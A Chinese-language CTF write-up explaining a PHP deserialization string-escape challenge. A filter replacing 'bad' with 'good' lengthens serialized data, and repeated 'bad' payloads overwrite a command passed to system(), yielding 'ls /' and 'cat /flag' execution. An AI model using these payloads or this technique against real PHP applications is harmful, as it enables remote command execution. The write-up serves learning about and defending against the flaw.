思路:
打开题目 查看php代码,再根据题目的提示确定这是字符串逃逸
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key']))));
分析一下代码
这段代码用GET方式接收了key
,将这个key传入了GetFlag
类中
之后又将这个类序列化了传入waf
函数
查看waf
函数 ,发现这个函数对传入如的字符串进行了处理,将传入的字符串中的bad
字符替换成了good
最后又将处理过的字符串反序列化了,经过处理的字符串字符会增多,导致字符逃逸
我们只要传入一定量的字符bad
,使逃逸的字符(payload)覆盖原本的字符就能实现任意命令执行
接下来构造paylaod
payload:
先将GetFlag
类序列化查看
O:7:"GetFlag":2:{s:3:"key";s:0:"";s:3:"cmd";s:6:"whoami";}
来构造一下要执行的命令
";s:3:"cmd";s:4:"ls /";}
我们构造执行命令的字符长度是24
,也就是说要逃逸24个字符,需要24个bad
构造payload
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}
先在本地测试一下
使用var_dump
函数查看GetFlag
的结构,发现变量cmd
的值已经是ls /
了
去题目测试
成功列出根目录
构造查看flag的payload
";s:3:"cmd";s:9:"cat /flag";}
查看flag的payload有29个字符
payload:
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
成功getflag